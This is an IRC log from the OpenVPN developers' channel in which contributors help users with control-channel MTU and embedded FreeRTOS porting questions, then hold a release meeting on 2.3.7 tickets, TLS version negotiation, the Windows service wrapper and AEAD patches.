1500 on all those places I've used openvpn (which is quite a few) 11:33 <@dazo> (unless explicitly set to a different value through {link,tun}-mtu 11:33 <@dazo> ) 11:33 < mighq> thanks, I will look into the log & config, to find out more info 11:38 < Sullitaz> dazo, I am able to disable lzo because I manage the server part as well 11:40 <@cron2_> mighq: unless you fiddle with one of the mtu options, MIN_MTU is exactly this: the smallest allowed MTU, but not "default" - as dazo says 11:42 < mighq> it is set to MIN value in this function: tls_init_control_channel_frame_parameters. I am not aware about changing them in the config. 11:43 < mighq> Control Channel MTU parms [ L:1558 D:138 EF:38 EB:0 ET:0 EL:0 ] 11:44 < mighq> data channel MTU is fine 11:44 < mighq> but the control channel dynamic MTU slows down the initiation of the tunnel 11:45 <@dazo> /* inherit link MTU and extra_link from data channel */ 11:45 <@dazo> frame->link_mtu = data_channel_frame->link_mtu; 11:45 <@dazo> frame->extra_link = data_channel_frame->extra_link; 11:45 < mighq> & in the last line: 11:45 < mighq> 201 /* set dynamic link MTU to minimum value */ 11:45 < mighq> 202 frame_set_mtu_dynamic (frame, 0, SET_MTU_TUN); 11:46 <@dazo> SET_MTU_TUN is an operator 11:46 <@dazo> not a value 11:46 <@cron2_> and it's not "the mtu" but the "dynamic mtu" 11:46 <@cron2_> which it may shrink to 11:46 <@cron2_> the number of different "size" values a "frame" has is... itneresting 11:47 <@dazo> the control channel behaves very differently from the data channel 11:50 <@dazo> mighq: what kind of key sizes do you use? 11:51 < mighq> cipher AES-256-CBC,keysize 256 11:51 <@dazo> and for the --key and --dh? 11:51 < mighq> auth SHA1 11:51 <@dazo> no, what kind of size for the --key and --dh? 11:52 <@dazo> the PKI keys are different from the data tunnel encryption (which uses symmetric encryption) 11:52 < mighq> dh 2048 bit 11:52 < mighq> client keys are 1024b, server key 2048b 11:52 < mighq> if you are asking about rsa 11:53 <@dazo> okay, that should not cause any issues 11:53 <@dazo> yeah 11:53 <@dazo> well, rsa is just one possibility for the PKI keys ... but the most common one (for many reasons) 11:53 < mighq> I see that during the rsa key negotation traffic is being sent with ~100B packets 11:54 < mighq> I mean, when I open the network trace in wireshark, the "openvpn fragments" are always 100B of size (the UDP is slightly larger, obviously) 11:55 <@dazo> the process is basically pretty standard SSL/TLS negotiation, where client and server exchanges keys and some other parameters (related to the DH) ... through this process they agree upon a temporary session key (used for the data tunnel encryption) and on the initial connect some client/server OCC info is exchanged together with push statements from the server 11:56 < mighq> This got me thinking about some MTU issue, which I traced down to the function "tls_init_control_channel_frame_parameters", where as the last command, it sets the MTU to the minimum allowed value (100B) 11:56 < mighq> dazo: this process is quite clear to me :) 11:57 < mighq> the problem I am after is that connection to remote locations (~200ms RTT) takes about 7 seconds 11:59 < mighq> and in wireshark + strace, it is quite obvious, that during the whole time, there is a communication happening. Now, it seems there can be only 4 non-acked mesages on wire, so with 100B messages, it takes obviously quite a llot messages + long time to exchange certificates 11:59 <@cron2_> well, maybe there's a bug, maybe it just needs that many small packets being sent and forth for the handshake (which is very much "send packet, wait for reply, based on that, send next packet") 11:59 <@cron2_> a too-small MTU would typically result in "send 3 small packets in a row, then wait for the reply" 12:00 < mighq> cron2: that's exactly what I mean 12:00 <@cron2_> if it's "send one, wait one, send one, wait one" it's not due to MTU but due to protocol 12:00 < mighq> there are 4 packets that could be on wire (CONTROL_SEND_ACK_MAX) 12:01 <@cron2_> so, what do you see? send 4, wait, or send 1, wait for answer, send 1, wait for answer, send 1, ...? 12:01 < mighq> "send 4, wait" + other sends, as ack arrives 12:02 < mighq> Before I recompile openvpn, I wanted to understand whether there is a good reason why forcing to min value, because I guess there is some 12:02 * cron2_ has no idea 12:03 < mighq> But based on a very quick reasearch, it seems that 1200MTU should be safe on todays internet, 1000 for almost 100% 12:03 <@cron2_> this is old code, back form the 2.1 days, which none of the currently active developers wrote... but what you can do is try with the iOS or Android ("OpenVPN Connect") client - that's a different code base, and if that one sends bigger packet, it's safe :) 12:04 <@cron2_> even going from 100 to 500 would reduce latency quite some (assuming that the small packets are really due to the min mtu being interpreted wrongly as "absolute mtu" or whatever happens in there) 12:04 <@cron2_> syzzer is the one who might understand these bits, but he's not here yet 12:05 < Sullitaz> dazo, is it possible to easily identify the client part in the source code? 12:06 < Sullitaz> because ENABLE_CLIENT_ONLY does not seem to be really used 12:06 < Sullitaz> just to enable P2PM_SERVER 12:08 <@dazo> Sullitaz: no, it is not easy ... because much of the code used for server and client mode is re-used 12:08 < Sullitaz> actually, I need to follow P2MP_SERVER define isn't it? 12:08 < mighq> ok, thanks for directions. I will try to do some more analysis 12:08 <@dazo> Sullitaz: but building --disable-server will only compile the client code, you can't go any smaller than that 12:09 < Sullitaz> according to you, what is the best strategy? 12:09 <@dazo> exactly what I wrote 1 hour ago 12:13 < Sullitaz> sorry dazo, maybe I misunderstood 12:13 < Sullitaz> I used --disable-server as you mention and it works 12:14 < Sullitaz> for the lzo compression, I dont need it because, I manage the server as well, so I will remove this option on the server side 12:15 < Sullitaz> I dont want a very small size, I prefer to keep debug traces for the moment 12:19 < Sullitaz> but for now, I got 68 object files with the configuration options you suggested 12:19 < Sullitaz> it is huge 12:23 < Sullitaz> so could you just repeat how can I try to isolate the client part? 12:24 < Sullitaz> do you have a piece of advice? 12:25 <@dazo> why is that such a big deal? openvpn is split up into many smaller pieces ... you have reduced openvpn to what is possible 12:27 <@dazo> the number of object files is irrelevant .... especially since they're all linked into a single executable, and that executable is what you need to install on a system (together with the shared libraries, such as SSL) 12:28 <@dazo> I can't really imagine making openvpn smaller than a single executable 12:28 < Sullitaz> because my embedded system is not a linux 12:28 < Sullitaz> it is freeRTOS 12:28 <@dazo> fair enough ... but still, you need to do the proper cross compilation then, you will still end up with a single executable which needs to be installed and can be used 12:29 <@cron2_> these object files are all working together - you can maybe get rid of mroute.o, mudp.o and a few more (they get compiled to an empty object inside), but in the end, you need to link them together... 12:29 <@cron2_> and then, one file is left 12:29 < mighq> we patched MIN_MTU to 1000 (instead of 100) and openvpn really splits the control messages to that size, effectively speeding up the "handshake" 12:29 < Sullitaz> so I will need to manage TUN/TAP interface and probably bypass it 12:30 < Sullitaz> OK I understand 12:30 < Sullitaz> my idea was to integrate the openvpn files I need to my project and redefine what it is needed 12:31 <@dazo> the openvpn 2.x code base is not designed to function as a library 12:31 <@dazo> Not saying it is not possible to tweak and twist the openvpn 2.x code base to become that ... but it will require quite some work 12:32 < Sullitaz> ok, but how can I do? 12:32 < Sullitaz> I dont have any tun/tap 12:32 <@dazo> you don't have any tun/tap device on the freertos device? 12:33 < Sullitaz> no, I need to do a sort of 12:33 < Sullitaz> probably 12:34 <@dazo> well, without that, openvpn won't be much usefull ... the Android code does support passing things over a socket, as the Android VPN interface only provides a file descriptor to a tun device 12:34 <@dazo> but your OS must have some kind of tun device which speaks the same protocol as the Linux or BSD TUN/TAP devices do 12:34 <@dazo> and then you will have quite a job implementing that into openvpn 12:35 < Sullitaz> you right 12:36 <@dazo> If you look at the ascii-art on this URL, you'll see how openvpn and the tun adapter fits into the picture .... https://community.openvpn.net/openvpn/wiki/BridgingAndRouting#Usingrouting 12:36 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net) 12:36 < Sullitaz> do you think it would be easier to inspire myself from the openvpn client for Android? 12:37 <@dazo> the only Android client which has released the code publicly (afaik), is the "OpenVPN for Android" ... which uses the code base you look at for the openvpn process 12:38 <@dazo> (search for TARGET_ANDROID) 12:38 <@dazo> if you can re-use the Android approach or not ... that entirely depends on the approach you choose for the tun device 12:39 <@dazo> in freertos 12:40 -!- m-a [mandree@f049115120.adsl.alicedsl.de] has joined #openvpn-devel 12:43 <@mattock> ah, module-assistant made it! :D 12:43 <@mattock> hi m-a! 12:45 < Sullitaz> sorry btk 12:47 < m-a> Hi mattock 12:47 <@mattock> hi! 12:47 <@mattock> so you made it after all 12:48 < m-a> Yup. 12:48 < Sullitaz> ok dazo thx 12:48 < m-a> And you figured without my mail (that I sent from the wrong address and got it rejected by Mailman) that your announcement had missed the DST switch yesterday morning. 12:48 < m-a> They stole an hour... 12:49 <@mattock> yeah, DST always sneak up on us 12:49 <@mattock> sneaks 12:49 -!- mighq [~mighq@2001:67c:284:32:bb7d:1dcc:b95f:497e] has left #openvpn-devel [] 12:50 < Sullitaz> dazo, I will download the source code and I will have a look 12:51 < Sullitaz> according to the ASCII diagram (and the conf file) I understand openVPN is really linked to the TUN interface 12:52 < Sullitaz> do you have an implementation flowchart or something likes that? 12:52 < Sullitaz> It will help me to understand the interactions 12:53 < m-a> The FreeBSD reporter of the AESNI init bug (in Brazil) replied he's gonna ask Ermal Luçi <https://redmine.pfsense.org/issues/3966> for feedback on the proposed patch for ticket #480 ASAP. Not sure if that has happened yet behind the scenes. 12:53 <@vpnHelper> Title: Bug #3966: OpenVPN crashes with AES-NI + AES-CBC - pfSense - pfSense bugtracker (at redmine.pfsense.org) 12:54 < m-a> vpnHelper, get me the title of <https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195004> too 12:54 < m-a> hmmm... 12:54 * m-a slaps the bot 12:54 <@cron2_> m-a: no <> around URLs :) 12:55 < m-a> it worked a minute before 12:55 < m-a> https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195004 12:55 <@cron2_> indeed... weird 12:55 <@vpnHelper> Title: Bug 195004 [PATCH] security/openvpn: Fix openvpn with aesni.ko loaded (at bugs.freebsd.org) 12:55 * cron2_ slaps the bot, too 12:55 < m-a> Might be worth checking if the URL grabber is confused by <> when there's a query (question mark) inside the URI 12:56 <@cron2_> mighq: thanks for testing this. I'll take it to our list of unresolved mysteries and try to figure out what the reasoning behind that is (but you might want to open a bug in trac on community.openvpn.net so we do not forget - that would be nice) 12:57 < m-a> so who's supervising the vpnHelper? I've got a can of cleaning benzene and another of oil here... 12:57 * cron2_ points at ecrist :) 12:58 <@mattock> I have some unfinished business with vpnHelper also 12:58 <@mattock> I believe vpnHelper is the main reason why http is still enabled in Trac 12:58 <@mattock> ecrist has not confirmed my suspicions yet, but I'd like to move to https only 12:59 <@mattock> anyways, it's nearly meeting time 12:59 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2015-03-30 12:59 <@vpnHelper> Title: Topics-2015-03-30 – OpenVPN Community (at community.openvpn.net) 13:00 <@mattock> who do we have here today? 13:00 <@mattock> me, m-a, cron2 13:00 <@mattock> anyone else? 13:01 <@cron2_> dazo was around just a few minutes ago... 13:01 * cron2_ looks around for syzzer and plaisthos... 13:02 * syzzer present! 13:02 <@mattock> hi syzzer! 13:02 <@mattock> now if we only had d12fk! 13:03 < Sullitaz> dazo, I have to go, thanks for your help 13:03 <@syzzer> wow, lots of scrollback 13:03 < Sullitaz> I will get back to you later probably 13:03 * cron2_ reads through the open ticket list for "milestone 2.3.7" and reports that this cron2 is a lazy bastard... on (fixed) bug owned by syzzer, 5 by me... 13:04 < Sullitaz> bye everybody 13:04 -!- Sullitaz [~chatzilla@66.192.2.109.rev.sfr.net] has quit [Quit: ChatZilla 0.9.91.1 [Firefox 36.0.3/20150319201009]] 13:04 <@mattock> https://community.openvpn.net/openvpn/report/3?asc=1&page=2 13:04 <@vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN Community (at community.openvpn.net) 13:04 <@cron2_> syzzer: isn't 410 done? 13:05 <@syzzer> cron2_: ah, yes, that one can be closed! 13:05 <@cron2_> syzzer: you or I? 13:05 <@syzzer> loggin in... 13:06 <@cron2_> mattock: is your trac account samuli or mattock? I see tickets assigned to both of you... 13:06 <@mattock> please use samuli 13:07 <@cron2_> actually only one 13:08 <@mattock> I couldn't find any active tickets assigned to "mattock" 13:08 <@mattock> https://community.openvpn.net/openvpn/report/4 13:08 <@vpnHelper> Title: {4} Accepted, Active Tickets by Owner – OpenVPN Community (at community.openvpn.net) 13:09 <@mattock> oh, "Accepted" 13:09 <@mattock> that narrows down the selection a bit 13:09 <@cron2_> I already reassigned the only one I foudn 13:09 <@cron2_> anyway - shall we start? I think m-a is only interested in the 2.3.7 bits, so maybe start there? 13:09 < m-a> thanks 13:10 <@mattock> yeah, let's move forward 13:10 <@mattock> two tickets: https://community.openvpn.net/openvpn/ticket/480 13:10 <@vpnHelper> Title: #480 ([PATCH] Openvpn with crytpodev on FreeBSD does not work) – OpenVPN Community (at community.openvpn.net) 13:11 <@mattock> and the second one later :) 13:11 <@cron2_> well, I'd like to get out 2.3.7 "reasonably soonish", say in ~2 weeks time or so, but the bugs you've mentioned (481 and 480) should definitely go in 13:11 <@mattock> #480 needs to wait for the test results, right? 13:11 < m-a> so from the FreeBSD end of things, https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=195004#c4 is the status - awaiting feedback. Ermal happens to also be the original reporter against pfsense (URL in comment #1 on the same bug) 13:11 <@mattock> or is there anything we can do to expedite things? 13:11 <@vpnHelper> Title: Bug 195004 [PATCH] security/openvpn: Fix openvpn with aesni.ko loaded (at bugs.freebsd.org) 13:12 <@cron2_> yes. Not tagged milestone 2.3.7, but the new patch sounds like it should not have side effects (the first one was strictly no-go, because it changed user-visible behaviour) 13:12 < m-a> someone would need a FreeBSD box with aesni support, OpenVPN + OpenSSL + aesni engine, reproduce the problem and then we might want to see. 13:13 <@cron2_> technically the patch looks reasonable to me, but I can't test it either 13:13 < m-a> should we make ecrist test drive the thing? Should I test drive it in the official port as an option, to check for regressions? 13:14 < m-a> ecrist maintains the FreeBSD openvpn-* development ports 13:14 <@mattock> yep 13:14 <@syzzer> yeah, I expect this to fix it, but I need someone to test it 13:14 <@cron2_> I'm not sure this will really give exposure, as it will only make a difference if an engine is used 13:15 <@cron2_> whether it breaks anything or not can be tested on anything that uses openssl engine... now whether it *fixes* the FreeBSD case, we need to test there :) 13:15 <@mattock> It looks like the Ermal guy in the FreeBSD bug report has the necessary test setup 13:15 < m-a> it would, however, simplify testing if all people need to do is flip the switch 13:15 < m-a> actually the guy is in the pfsense bug report 13:16 <@mattock> is ecrist's testing port based on Git "master" or what? 13:16 <@cron2_> on systems without engine, it's a no-op... 13:16 < m-a> The FreeBSD bug "reporter", garga (aka Renato Botelho) has only relayed the thing to me. The originator is Ermal Luçi. 13:16 <@cron2_> mattock: yes, ports/openvpn-devel is using weekly snapshots 13:16 <@mattock> ah, I see 13:17 <@cron2_> given the number of people that do (not) use engines, maybe ask for volunteers on the -devel and -users list to give it a quick test? 13:17 <@mattock> sounds like a good idea 13:17 <@mattock> in the worst case it does not help 13:17 <@syzzer> tbh, I still don't understand why on earth someone would want to do aes-ni through engines/cryptodev... 13:18 <@syzzer> but well, I *is* broken... 13:18 < m-a> seems reasonable to me; my proposal for the FreeBSD port is that I add a ports option for users to apply the patch so they can report back. Not sure if it's BSD specific. 13:18 <@cron2_> syzzer: how is it done elsewhere? 13:18 <@syzzer> it's just an instruction set extention 13:18 <@cron2_> so openssl uses it directly? 13:18 <@syzzer> so you simply execute the instruction, no need for any transitions to kernel mode 13:18 <@syzzer> yes 13:19 <@syzzer> cryptodev makes sense for crypto-accelerators which require god-mode, like stuff that gets access to your entire system through dma, etc. 13:22 <@cron2_> m-a: let's try asking the users on the two lists, and if nobody is there who uses the engines, we'll just patch and ship... (it will also only fire in --daemon mode, so most client setups won't even see that code) 13:22 < m-a> ok 13:22 <@mattock> who will ask? 13:23 <@cron2_> syzzer: are you on the users list? 13:23 <@syzzer> cron2_: yes 13:23 * cron2_ volunteers syzzer (and runs) 13:23 <@mattock> +1 13:23 <@syzzer> ok, will do 13:24 <@cron2_> thanks. So, #481 - I know what to do there, I just need to see whether it works out (use "route-gateway" as a next-hop here, instead of "my own ip"). 13:25 <@cron2_> with 4cc6a2595947a0e2f13b we should always *have* a route-gateway address - which might not be the "true" server address, but that does not matter, as long as it's "on the other side" 13:26 < m-a> will it work through firewalls and martian address filtering if you pick the wrong one? 13:26 <@cron2_> yes 13:27 <@cron2_> we out a subnet route onto the interface anyway, so "all in the subnet" should be ok with martian (reverse path) filtering 13:28 <@cron2_> firewalls: the "remote end of ifconfig tun" address "should" not manifest itself outside openvpn - unless someone configures it from an --up script, and in this case, it's broken today (because in --topology subnet, no peer address exists, that field is overloaded with the netmask) 13:30 * cron2_ is reasonably confident that it will work out, but, well, it needs testing -> my job ("I broke it, I'll get to fix it") 13:30 <@mattock> cron2_: so this will go into 2.3.7? 13:30 <@cron2_> anything else in the bug list that needs fixing before 2.3.7 but has no milestone? 13:30 <@cron2_> mattock: this is the plan, the fix is fairly localized, and it's a true bug fix 13:31 <@syzzer> tls version negotiation! 13:31 <@mattock> yep, forward 13:31 <@cron2_> mattock: it might turn out to be more difficult, in which case "we'll see" 13:32 < m-a> #85 has been going for a while and is mostly documentation 13:32 < m-a> mktun in FreeBSD - document that only Linux needs it and what the BSDs use instead. 13:33 <@cron2_> what I wanted to do here was to just print it (use "ifconfig tunX create" on this platform) 13:33 < m-a> ok 13:34 <@cron2_> so, yes, no real functionality added, just documentation/help text. 13:34 < m-a> similar thing for #370 13:35 <@cron2_> still waiting for a doc patch, that one... 13:36 < m-a> https://community.openvpn.net/openvpn/ticket/367 - just rename the message per comment #2 and move on? 13:36 <@vpnHelper> Title: #367 (LZO compression initialized message displays based on build, not config) – OpenVPN Community (at community.openvpn.net) 13:36 <@mattock> I can probably sneak https://community.openvpn.net/openvpn/ticket/512 into 2.3.7 too 13:36 <@vpnHelper> Title: #512 (Man-page contains useless dash escapes) – OpenVPN Community (at community.openvpn.net) 13:36 <@mattock> while we're at fixing the man-page 13:37 <@cron2_> m-a: 367 actually puzzled me, because I'm fairly sure this is not printed all the time, just when it is used. Let me test that. 13:38 < m-a> So, the FreeBSD port just got the patch with an "experimental" port option. Dubbed version 2.3.6_3, differences at https://svnweb.freebsd.org/ports?view=revision&revision=382705 13:38 <@vpnHelper> Title: [ports] Revision 382705 (at svnweb.freebsd.org) 13:40 <@mattock> that was quick 13:40 <@cron2_> well, I can confirm that it is *not* printing this if not called. Closing, bogus 13:40 * dazo is here now 13:40 <@mattock> hi dazo! 13:41 <@dazo> sorry ... domestic issues delayed me 13:44 <@cron2_> #367 done! 13:44 <@mattock> great! 13:45 <@cron2_> mattock: #512 sounds good :) 13:45 <@cron2_> so, what about tls-version-min? 13:47 <@mattock> syzzer? 13:47 < m-a> cron2_: what's the reference? 13:47 < m-a> can't see it on the agenda nor the implied ticket list 13:47 <@syzzer> ah, yes, tls version negotiation 13:48 <@syzzer> I sent a patch a little while ago 13:48 <@cron2_> Message-Id: <1426015605-4068-1-git-send-email-steffan@karger.me> 13:48 <@syzzer> I think it is time to re-enable it by default 13:49 <@syzzer> but, in contrast with the previous time we attempted it, have a mechanism in place to revert to the old behaviour if users encounter issues 13:50 * cron2_ tends to agree 13:50 <@syzzer> so, now I need someone to review the code 13:51 < m-a> http://sourceforge.net/p/openvpn/mailman/openvpn-devel/thread/1426015605-4068-1-git-send-email-steffan%40karger.me/#msg33581243 13:51 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 13:52 < m-a> I don't oversee everything (would have to check off-line) 13:52 < m-a> I have recently written similar code for fetchmail, albeit with different user interface and thus semantics. 13:53 < m-a> plausibility check, is "if (tls_version_max == TLS_VER_1_0)" in the bottom hunk sufficient, or do you also need to check tls_version_min (or is that nailed to 1.0 anyhow elsewhere?) 13:53 <@syzzer> tls-version min is by default nailed to 1.0 13:53 < m-a> and seeing the code is changed twice, for client and service, it may warrant refactoring. 13:54 <@dazo> syzzer: so there are openvpn installations who falls into the SSLv23_client_method() group of handshake methods? 13:54 < m-a> s/service/server/ 13:54 <@syzzer> m-a: yes, I considered that, but did not do that for this patch on purpose - minimal patches only for 2.3 13:55 < m-a> fine 13:55 <@dazo> oh right ... I saw the last sentence in the commit log ... SSLv23_client_method() == enable negotiation 13:55 <@syzzer> dazo: I don't get what you mean, can you explain? 13:55 <@cron2_> syzzer: the totally logical OpenSSL API got him 13:55 <@syzzer> ah, good :p 13:56 <@cron2_> "SSLv23 enables TLS 1.1 and higher, while TLSv1 only does TLS 1.0" 13:56 <@dazo> I didn't understand instantly why whe needed SSLv23_{client,server}_method() 13:56 < m-a> SSLv23 is the only method that negotiates version. 13:56 <@syzzer> awesome API, right? ;) 13:56 <@cron2_> totally 13:56 < m-a> All other methods (SSLv2, SSLv3, TLSv1, TLSv1_1, TLSv1_2) nail the respective version. 13:56 <@dazo> right 13:57 <@dazo> now I see the point :) 13:57 < m-a> So basically you use SSLv23_*_method() in the constructor, and limit the interval of negotiable versions. You do that by EXCLUDING versions you do not want. 13:57 < m-a> The remaining range of versions must then be contiguous. 13:58 < m-a> (the latter point isn't in the docs but is what Viktor Duchovni of Postfix fame explained to me) 13:58 < m-a> JFTR 13:58 <@dazo> thx! 14:00 <@syzzer> ok, my workstation is dying on me so this all takes a little longer that it should, but tls-version-min defaults to '1.0', and we only accept '1.0', '1.1' and '1.2' as valid options currently 14:00 <@mattock> ok so what prevents version negotiation issues like we had with 2.3.3? 14:00 <@cron2_> tls-version-max 1.1 14:00 <@cron2_> that option did not exist back then, plus "if cryptoapi is used, max is set to 1.1 automatically" 14:01 <@syzzer> it doesn't, but when you have issues, you can set --tls-version-max 1.1 or --tls-version-max 1.0 14:01 <@mattock> ok, good, I'll mention that in the summary 14:01 < m-a> is this in the manual page and will it be in the release-notes? 14:01 <@syzzer> where in this case --tls-verion-max 1.0 will revert the behaviour to the *exact* old default behaviour (calling TLSv1_{client,server}_method() ) 14:03 <@cron2_> this is an interesting point 14:03 <@syzzer> release notes at least. --tls-version-min is in the man page, but I'm not sure it makes sense to mention this too 14:03 <@cron2_> why does our 2.3 man page have --tls-version-max, while the code does not 14:03 <@syzzer> the code has --tls-version-max too, right? 14:03 <@cron2_> yeah 14:03 <@cron2_> it has 14:03 <@cron2_> I'm confused 14:04 <@cron2_> please ignore me while I reboot my memory 14:04 <@mattock> so what are we turning on in 2.3.7 again? :P 14:04 <@cron2_> *automatic* negotiation, unless manually disabled 14:04 <@syzzer> that by default OpenVPN will negotiate TLS versions, which will result in connections using tls 1.2, instead of tls 1.0 by default 14:05 <@mattock> ok, I think I've seen the light 14:07 <@mattock> I will mention that we will flip the switch again 14:07 <@mattock> are we done with this topic? 14:07 <@cron2_> someone needs to ACK the patch :) 14:08 <@syzzer> ^^ that 14:08 <@mattock> any takers? 14:09 < m-a> reviewing 14:10 <@syzzer> m-a: thanks! 14:11 <@cron2_> mattock: jumping topics in the meantime a bit to the windows service wrapper - I think we should definitely bundle nssm.exe for the time being. If 2.4 ever sees the light, we'll have to give people an option what to install, as openvpnserv will also be the "Interative Service" part, if I understood d12fk right (so they can use nssm for non-interactive, and openvpnserv for iserv) 14:12 <@cron2_> the main issue with the service as it is seems to be "recovery after openvpn crash" or "suspend and resume" - with the iserv, the gui will do all this, so I expect it to "simply work" then 14:12 <@mattock> cron2: hmm, yes, that might be so 14:13 <@mattock> I can't recall whether the "Interactive Service" actually makes use of openvpnserv.exe or not 14:13 <@cron2_> I would even offer 2.3 based installers with nssm 14:13 <@cron2_> it does, the patch adds functionality to the openvpnserv.exe sources 14:13 <@mattock> ok, then nssm.exe would be complementary 14:13 <@mattock> as well as a better alternative for 2.3.x 14:14 <@cron2_> maybe offer "old service and old tap" bundles for conservative users, and "nssm and tap6" for more modern environments, or such... 14:14 <@mattock> I'll do a proof of concept and see how it works 14:14 <@mattock> I think we can kill tap-windows (NDIS 5) at the moment we drop XP support 14:14 <@mattock> NDIS 6 driver has been very stable after the last remaining issues were fixed 14:15 <@mattock> the question then becomes: when is XP dead in our eyes? 14:15 <@mattock> we've decided on 2.4, but what about 2.3.x? 14:15 <@cron2_> it seems to be in full zombie mode, hard to kill 14:15 <@cron2_> so we don't... 14:16 <@mattock> we'll see if it goes away before 2.4 is stable :) 14:16 <@mattock> at that point it does not really matter 14:16 <@cron2_> I suggest we support it as long as the pain level is bearable - if "things" happens (like, MinGW64 dropping XP support) we reconsider 14:16 <@mattock> yeah, makes sense 14:16 <@cron2_> nssm definitely looks non-suckish :) 14:17 < m-a> syzzer: you'll need to patch the manual page doc/openvpn.8, too 14:17 < m-a> I will detail this in a post to the list. 14:17 <@cron2_> mattock: on the agenda, the TLS version negotiation bit is actually for 2.3.7 only - 2.4 has it already (as had 2.3.3, but we un-enabled it only in 2.3) 14:18 <@dazo> or that a bug appears which requires too much work to debug and fix on XP ... if fixable present and fixable a more modern Windows, then we fix it ... but only trivial fixes for XP-only 14:18 <@syzzer> m-a: that sounds reasonable :) 14:18 <@cron2_> dazo: yeah, that's part of "pain level" :) 14:18 <@dazo> :) 14:19 <@mattock> cron2_: noted and fixed 14:20 <@mattock> I take it that a PoC of nssm integration has a general blessing 14:21 <@mattock> if something comes up in the PoC then we can reconsider, but otherwise we'll stick with it 14:21 <@cron2_> haven't seen anyone on the list speak against it... so, all for it :) 14:21 <@mattock> ok, good! 14:24 <@mattock> next topic? 14:24 <@cron2_> next topic: regarding MacOS X keychain patch - I went back and checked. Plaisthos ACKed v3 (and James implicitely so, based on "if it will not break Android"), but v4 changed the OpenVPN bits again. So I would actually ask plaisthos to ACK the differences v3->v4 14:25 <@mattock> the .gitignore issue is now history, right? 14:25 <@mattock> so if plaisthos ACKs v3->v4 the patch can go in? 14:25 <@cron2_> yes 14:25 <@mattock> great! 14:25 <@cron2_> I will ignore the .gitignore part of the patch, but do not need a new patch for that 14:26 <@cron2_> so the "Makefile" bit was more a distraction, sorry for that 14:27 <@cron2_> remaining topics: iservice (d12fk not here, so hard to agree on the way forward - I have some ideas, but want his OK for that) and AEAD. Syzzer? 14:27 < m-a> syzzer: where do I find the version-related bits in the polarssl code? 14:27 <@cron2_> oh, and openvpn-gui.nsi... 14:27 < m-a> syzzer: seems missing. 14:27 <@mattock> well, openvpn-gui.nsi thing is quick 14:28 <@syzzer> m-a: polarssl has tls-version-min and tls-version-max, but already does version negotiation by default 14:28 < m-a> syzzer: so we might bump into issues when a polarssl-based box negotiates against a fixed-TLS-version openssl based box? 14:28 <@mattock> the work is practically done, the only real issue being that the openvpn-gui.exe is unsigned... this is because openvpn-build signed openvpn-installer.exe, not openvpn-gui.exe inside it 14:29 <@mattock> while the "proper" fix would be to have a separate buildsystem for openvpn-gui, that would be a major undertaking 14:29 <@syzzer> m-a: no, the openssl box will just enforce the version it supports 14:29 <@mattock> so I'm inclined to just hack openvpn-build a bit and be done with it 14:29 <@syzzer> that interop has been tested and used quite extensively 14:29 * m-a scratches head and asks, how would the 2.3.3 problem then have showed itself? 14:30 <@cron2_> mattock: hack openvpn-build and be done with it :) 14:30 <@cron2_> m-a: talking to 2.3.3, and failing, because in *some* setups 1.2 just does not work 14:30 <@mattock> cron2_: I will take the pragmatic approach this time and do as I suggested :D 14:31 <@cron2_> if used with cryptoapi (which polarssl doesn't support) tls 1.2 blows up right away, and someone else also had a failure case but we never found out why it failed for them 14:31 <@syzzer> m-a: the 2.3.3 problem occurred when both peers supported version negotiation, but some mitm (corporate firewall, China's GFW) did not recognize the protocol any more and blocked it 14:32 <@syzzer> also, it would break when 1.2 was negotiated, but then a smartcard would refuse to sign the (larger) 1.2 hashes 14:32 < m-a> OK, the latter are outside our control and only the user can sidestep them in a deliberate decision to downgrade. 14:33 <@syzzer> yes, all problems were out of our control actually, but we did not have counter measures in place 14:33 <@syzzer> we do now :) 14:33 <@cron2_> we work around the cryptoapi issue now ("if cryptoapi enabled set version-max 1.1") 14:33 < m-a> does polarssl have version pinning that needs to be implemented? The tls-version-max 1.0 workaround would otherwise not work with PolarSSL-based builds (or I don't see how) 14:34 < m-a> oh sorry, different API 14:34 <@syzzer> well, I would actually expect setting 'min 1.0' and 'max 1.0' to result in exactly the same as calling TLSv1_method() 14:34 <@syzzer> same goes for polarssl 14:35 < m-a> I think I've seen SOMETHING in the openssl docs on which versions it offers 14:35 <@syzzer> I kept the call to TLSv1_method() in there just to be 100% sure we can revert back to the old behaviour 14:38 <@syzzer> m-a: we are restricting what openssl offers, with the --tls-version-min and --tls-version-max 14:38 < m-a> I know that. 14:38 < m-a> perhaps I'm digging to deep here. 14:39 <@syzzer> hmm, then I don't get what you're looking for 14:41 <@mattock> once the TLS version patch is covered, we only have one topic left: AEAD 14:45 <@syzzer> m-a: can I help you in any way with your quest? 14:45 < m-a> syzzer: I am currently writing a proposal for the manual page. 14:45 < m-a> :-) 14:46 <@syzzer> okay, I'll just keep quiet than ;) 14:46 <@syzzer> *e 14:46 <@cron2_> AEAD in the meantime? 14:46 <@mattock> m-a: this is entirely off-topic, but this what I was referring to earlier: 14:46 <@mattock> $ apt-file -x search ".*/m-a$" 14:46 <@mattock> module-assistant: /etc/bash_completion.d/m-a 14:46 <@mattock> module-assistant: /usr/bin/m-a 14:46 <@dazo> mattock: looking at some old trac tickets .... #421 can probably be closed as "wontfix" ? 14:47 <@mattock> agreed 14:47 <@cron2_> +1 14:47 <@mattock> yeah, +1 14:49 * m-a drowned in scrollback 14:49 <@cron2_> sorry 14:50 <@mattock> AEAD? 14:50 <@mattock> is this for/from syzzer primarily? 14:50 <@syzzer> yes 14:50 < m-a> mattock: I don't get the point of the apt-file -x search 14:51 * m-a wonders which hats were sneaked on his head without him noticing 14:51 <@mattock> there's no point expect that there's a tool called "m-a" in debian 14:51 <@cron2_> he found an obscure program called "m-a" 14:51 <@syzzer> sorry, trying to explain my girlfriend how to explain a friend of hers how to scp something to my home server... 14:51 <@mattock> I've actually used it 14:51 <@mattock> syzzer: good luck :P 14:51 <@syzzer> but, AEAD 14:52 <@syzzer> so, I have a series of patches, which have been interop-tested with james' ovpn3 code 14:52 <@syzzer> but we need to find a way to get them reviewed 14:52 <@cron2_> cool 14:52 <@syzzer> the most recent ones I've sent to the list are the polarssl logging improvement patches 14:52 <@mattock> syzzer: are all the patches available? 14:53 <@syzzer> mattock: 